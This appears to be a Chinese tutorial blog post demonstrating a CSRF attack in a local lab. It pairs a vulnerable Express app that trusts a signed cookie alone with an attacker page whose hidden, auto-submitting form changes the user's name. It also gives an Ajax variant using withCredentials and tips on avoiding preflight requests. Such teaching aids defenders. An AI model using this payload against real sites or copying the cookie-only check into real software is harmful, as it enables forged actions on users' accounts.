手把手教你实现一次 CSRF 攻击

简介: 之前写过一篇 CSRF 攻击文章,介绍了定义、触发方式、防御方式,但唯独没有给出一个实现方式,今天就借这篇文章重新写出一个实现方式

之前写过一篇 CSRF 攻击文章,介绍了定义、触发方式、防御方式,但唯独没有给出一个实现方式,今天就借这篇文章重新写出一个实现方式

202212071826163.png

您可以在线查看完整的示例源代码_

定义

先介绍一下 CSRF 攻击的定义

  • 跨站点请求伪造(Cross-Site Request Forgeries),在用户不知情的情况下,冒充用户发起请求, 完成一些违背用户意愿的事情,比如修改用户信息,删评论等(如果找到 XSS 漏洞,可以用一些 JS 去借用用户的身份去发出请求)或者是伪造请求完成服务器的一些 CURD 操作
  • CSRF 可以说是钓鱼网站的应用,常见于用户的 cookie 被利用

实现

首先在本地启动两个静态资源服务

  1. hack: localhost:3001 钓鱼网站
  2. client: localhost:3000 客户端

客户端的需要实现功能登录(发送 Cookie 到客户端),获取用户名称和修改用户名称(修改用户名称的接口存在 CSRF 攻击存在缺陷)

CSRF 攻击效果如下(效果为用户名称从杰尼龟被修改为憨批龟

IMG

客户端前台实现

一个简单的客户端登录实现,发送账号密码,服务端鉴权,然后跳转到用户界面(user.html

IMG

<!-- localhost:3000/ -->
<!-- localhost:3000/index.html -->
<body>
  <form>
    username: <input type="text" name="username" /><br />
    password: <input type="password" name="password" /><br />
    <button type="button" onclick="login()">登录</button>
  </form>
</body>
<script>
  const login = () => {
    const username = document.getElementsByName("username")[0].value;
    const password = document.getElementsByName("password")[0].value;
    const xhr = new XMLHttpRequest();
    xhr.open("POST", "http://localhost:3000/user/login");
    xhr.setRequestHeader("Content-type", "application/json");
    xhr.onreadystatechange = () => {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          window.location.href = "/user.html";
        }
      }
    };
    xhr.send(JSON.stringify({ username, password }));
  };
</script>

用户界面如下,拥有查看和修改用户名称的功能

IMG

IMG

<!-- localhost:3000/user.html -->
<body>
  昵称:<span class="name"></span>
  <input class="name-input" type="text" style="display: none" />
  <br />
  <button class="button" onclick="handleModifyName()">修改昵称</button>
  <button
    class="confirm-button"
    onclick="confirmModifyName()"
    style="display: none"
  >
    确认修改
  </button>
</body>
<script>
  const name = document.querySelector(".name");
  const nameInput = document.querySelector(".name-input");
  const button = document.querySelector(".button");
  const confirmButton = document.querySelector(".confirm-button");
  const getName = () => {
    const xhr = new XMLHttpRequest();
    xhr.open("GET", "http://localhost:3000/user/name");
    xhr.onreadystatechange = () => {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          name.innerText = xhr.response;
        }
      }
    };
    xhr.send();
  };
  const handleModifyName = () => {
    if (button.innerText === "取消修改") {
      name.style.display = "initial";
      nameInput.style.display = "none";
      confirmButton.style.display = "none";
      button.innerText = "修改昵称";
      getName();
    } else {
      name.style.display = "none";
      nameInput.style.display = "initial";
      confirmButton.style.display = "initial";
      nameInput.value = name.innerText;
      button.innerText = "取消修改";
    }
  };
  const confirmModifyName = () => {
    const xhr = new XMLHttpRequest();
    xhr.open("POST", "http://localhost:3000/user/name");
    xhr.setRequestHeader("Content-type", "application/json");
    xhr.onreadystatechange = () => {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          handleModifyName();
        }
      }
    };
    xhr.send(JSON.stringify({ name: nameInput.value }));
  };

  // 初次加载
  getName();
</script>

客户端后台实现

这里的后台使用的是 express,不了解也没关系,可以通过示例运行尝试,而且代码都很简单

router.post("/login", function (req, res, next) {
  const { username, password } = req.body;
  res.cookie("userId", String(username), {
    expires: new Date(Date.now() + 1000 * 60 * 60),
    httpOnly: true,
    signed: true,
  });
  res.send("success");
});

router.get("/name", function (req, res, next) {
  const [name, setName] = useName();

  res.send(name);
});

router.post("/name", function (req, res, next) {
  const [name, setName] = useName();
  const { name: updateName } = req.body;

  res.send(setName(updateName));
});

上面一共有三个接口,分别如下(统一配置了前缀 /user

  1. POST: /user/login 负责鉴权下发 Cookie
  2. GET: /user/name 返回用户名称,即杰尼龟
  3. POST: /user/name 修改用户名称

然后就是鉴权部分,这也就是存在 CSRF 攻击缺陷的逻辑部分

app.use((req, res, next) => {
  const { userId } = req.signedCookies;
  if (req.path !== "/user/login" && req.path !== "/init" && !userId) {
    res.status(403);
    res.send("error");
  } else {
    next();
  }
});

上面这段代码的意思是,非 /user/login/init 路径并且不存在名为 userIdCookie 的请求将会被返回 403,否则按正常逻辑继续运行

其实这也就是意味着如果我在请求 /user/name 的过程中携带有 Cookie,那么我的这个请求将是成功的,即能够完成 CSRF 攻击

有了理论基础,就可以建立攻击实现了

钓鱼网站实现

上面已经分析完了攻击原理,那么网站的实现就是保证我能够发出请求就行了,由于上面的修改用户名称是一个 POST 请求,所以下面将使用 form 表单实现

<!-- localhost:3001 -->
<body>
  <form
    action="http://localhost:3000/user/name"
    method="POST"
    enctype="application/json"
  >
    <input type="hidden" name="name" value="憨批龟" />
  </form>
</body>
<script>
  // 进入页面后提交
  document.forms[0].submit();
</script>

表单提交

使用 form 表单提交,它的原理是借助了 formaction 属性会跳转到目标 URL 并附带表单信息

IMG

这也就是为什么前面的例子中在访问钓鱼网站的时候最终会跳转至客户端(http://localhost:3000

为什么 <form>action 会这么设计是因为以前在没有前后端分离的时候,是通过提交表单之后由接口返回值来展示提交结果,即后端决定前端应该跳转至哪个路由

form 的 enctype

与本篇文章无关,但是我想说,不感兴趣的可以直接跳到下一个段落

前面可以看到我将 <form>enctype 属性设置为了 application/json,其实这并不是一个稳定的实现(即部分浏览器或者浏览器的版本没有实现这个特性)

稳定的实现只有以下几个

  1. application/x-www-form-urlencoded
  2. multipart/form-data
  3. text/plain

但是 Chrome 的最新版本似乎已经实现了此功能,而且对于 express 来说 application/x-www-form-urlencodedapplication/json 的单层对象的解析是一致的

router.post("/name", function (req, res, next) {
  const [name, setName] = useName();
  // application/x-www-form-urlencoded 和 application/json 都可以拿到 name
  const { name: updateName } = req.body;

  res.send(setName(updateName));
});

所以在分析可能有 CSRF 攻击缺陷的接口是不要因为使用的 JSON 格式而存在侥幸心理,以为有跨域限制而 form 不能使用 application/json 而忽略该接口,有可能你的后台服务的解析是一致的

使用 Ajax

上面这个钓鱼网站有一个非常重要的点需要注意,CSRF 攻击的实现原理是借用第三方 Cookie,这个第三方也就是我们的客户端,但是钓鱼网站和我们的客户端是不同的端喔,钓鱼网站上发向客户端请求会是一个跨域请求

http://localhost:3001 -> http://localhost:3000/user/name

比如你在钓鱼网站这里使用 ajax 的方式去请求我们的客户端的修改用户昵称接口将会导致一个跨域报错

const xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:3000/user/name");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
xhr.send("name=憨批龟");
Access to XMLHttpRequest at ' http://localhost:3000/user/name' from origin ' http://localhost:3001' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource.

但这并不意味着我们的请求没有成功应用到服务器,要知道跨域其实是浏览器的设置,请求其实已经发送到了服务器,只是浏览器拦截了响应

IMG

效果如下

202212082145609.gif

XMLHttpRequest.withCredentials

使用 Ajax 发起 CSRF 攻击时要设置 withCredentialstrue,不然可能不会带上 Cookie 而导致攻击失败

// ...
xhr.withCredentials = true;
// ...

避免预检请求(option)

使用 Ajax 发起 CSRF 攻击要注意使用简单请求,不然你向客户端发送请求时会发送两次请求,第一次预检请求,第二次才会是你的 CSRF 攻击请求,而且 option 请求是不会携带 Cookie

IMG

一旦 option 请求失败了就不会再请求你的 CSRF 攻击请求,而使 option 请求成功的方法只有让后台帮助你设置当前网页所在的域名是否在服务器的许可名单之中,这很明显是不可能的,因为你是攻击方,所以这种情况下可以采用表单提交的方式

IMG

复杂请求定义:

请求以 GET, HEAD 或者 POST 以外的方法发起请求。或者,使用 POST,但请求数据为 application/x-www-form-urlencoded, multipart/form-data 或者 text/plain 以外的数据类型。比如说,用 POST 发送数据类型为 application/xml 或者 text/xml 的 XML 数据的请求。 使用自定义请求头(比如添加诸如 X-PINGOTHER)

一旦归属于复杂请求,就会在发送复杂请求之前发送一次预检请求(option 请求)
简单请求定义:

只使用 GET, HEAD 或者 POST 请求方法。如果使用 POST 向服务器端传送数据,则数据类型(Content-Type)只能是 application/x-www-form-urlencoded, multipart/form-data 或 text/plain中的一种。 不能使用自定义请求头(类似于 X-Modified 这种)。

这也就是为什么不要将可以修改服务器数据的接口使用 GET 方式编写,因为用 GET 请求触发 CSRF 的条件实在是太简单了,只要求能够发送请求就行

攻击实操

看完上面的段落后实现攻击的操作应该很简单了

  1. 第一步,登录客户端,获取鉴权,即 Cookie
  2. 然后访问钓鱼网站

IMG

强烈建议在访问钓鱼网站的时候给 network 点上 Preserve log,这样就可以看到钓鱼网站跳转到客户端的全部请求记录

IMG

攻击是否成功的关键,钓鱼网站发送向第三方网站的请求有没有成功携带上 Cookie

IMG

有攻击就有防御,《手把手教你防御 CSRF 攻击》正在编写中!!

参考资料

  1. 使用Express模拟并理解csrf攻击 - 大地dadi - 掘金
相关文章
|
1月前
|
JavaScript 安全 前端开发
js开发:请解释什么是XSS攻击和CSRF攻击,并说明如何防范这些攻击。
XSS和CSRF是两种常见的Web安全威胁。XSS攻击通过注入恶意脚本盗取用户信息或控制账户,防范措施包括输入验证、内容编码、HTTPOnly Cookie和CSP。CSRF攻击则诱使用户执行未经授权操作,防范手段有CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。开发者应采取这些防御措施并定期进行安全审计以增强应用安全性。
39 0
|
7月前
|
安全 NoSQL Java
互联网并发与安全系列教程(06) - 常见的Web安全漏洞(CSRF攻击)
互联网并发与安全系列教程(06) - 常见的Web安全漏洞(CSRF攻击)
85 0
|
8月前
|
SQL 安全 前端开发
渗透攻击实例-邪恶的CSRF(社会工程学)
渗透攻击实例-邪恶的CSRF(社会工程学)
|
1月前
|
缓存 安全 JavaScript
前端安全:Vue应用中防范XSS和CSRF攻击
【4月更文挑战第23天】本文探讨了在Vue应用中防范XSS和CSRF攻击的重要性。XSS攻击通过注入恶意脚本威胁用户数据,而CSRF则利用用户身份发起非授权请求。防范措施包括:对输入内容转义、使用CSP、选择安全的库;采用Anti-CSRF令牌、同源策略和POST请求对抗CSRF;并实施代码审查、更新依赖及教育团队成员。通过这些实践,可提升Vue应用的安全性,抵御潜在攻击。
|
2天前
|
存储 安全 JavaScript
【网络安全】CSRF攻击详解
【网络安全】CSRF攻击详解
|
4天前
|
安全 前端开发 Java
CSRF 攻击以及如何使用 Spring Security 预防攻击
【6月更文挑战第15天】CSRF 是指跨站请求伪造,是 Cross-site request forgery 的简称,有些地方也简写为 XSRF。
67 1
|
1月前
|
存储 JavaScript 前端开发
Django的CSRF防攻击原理详解
Django的CSRF防攻击原理详解
|
1月前
|
安全 前端开发 JavaScript
在Python Web开发过程中:Web框架相关,如何在Web应用中防止CSRF攻击?
在Python Web开发中防范CSRF攻击的关键措施包括:验证HTTP Referer字段、使用CSRF token、自定义HTTP头验证、利用Web框架的防护机制(如Django的`{% csrf_token %}`)、Ajax请求时添加token、设置安全会话cookie及教育用户提高安全意识。定期进行安全审计和测试以应对新威胁。组合运用这些方法能有效提升应用安全性。
27 0
|
9月前
|
安全 PHP 开发者
CSRF 攻击的防范措施
CSRF 攻击的防范措施
|
1月前
|
安全 JavaScript 前端开发
Python 的安全性和测试:解释什么是 XSS 和 CSRF 攻击?在 Python 中如何防范这些攻击?
Python 的安全性和测试:解释什么是 XSS 和 CSRF 攻击?在 Python 中如何防范这些攻击?